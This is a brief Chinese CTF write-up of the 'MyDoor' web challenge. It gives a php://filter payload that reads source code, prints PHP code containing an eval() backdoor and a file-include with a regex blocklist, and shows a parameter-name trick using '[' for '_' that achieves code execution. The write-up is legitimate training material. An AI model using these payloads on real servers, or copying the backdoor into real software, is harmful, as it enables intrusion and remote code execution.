nssround ctf
MyDoor
一:信息收集
得到信息应该与rce 和 trick有关
2.解题,
(1)进入题目后发现上面有一个file参数
猜测可以文件读取,但是无法直接读取
这里利用PHP伪协议进行读取
payload : php://filter/convert.base64-encode/resource=index.php
解密一下得到如下代码:发现get参数
N_S.S,然后可以通过这个传递参数
<?php error_reporting(0); if (isset($_GET['N_S.S'])) { eval($_GET['N_S.S']); } if(!isset($_GET['file'])) { header('Location:/index.php?file='); } else { $file = $_GET['file']; if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) { include $file; } else { die('error.'); } }
但是这里使用
N_S.S 无法进行命令执行,测试后发现是_被过滤了 这里可以使用[替换
比较有趣的是flag在PHPinfo里面就找到了
payload :N[S.S=phpinfo();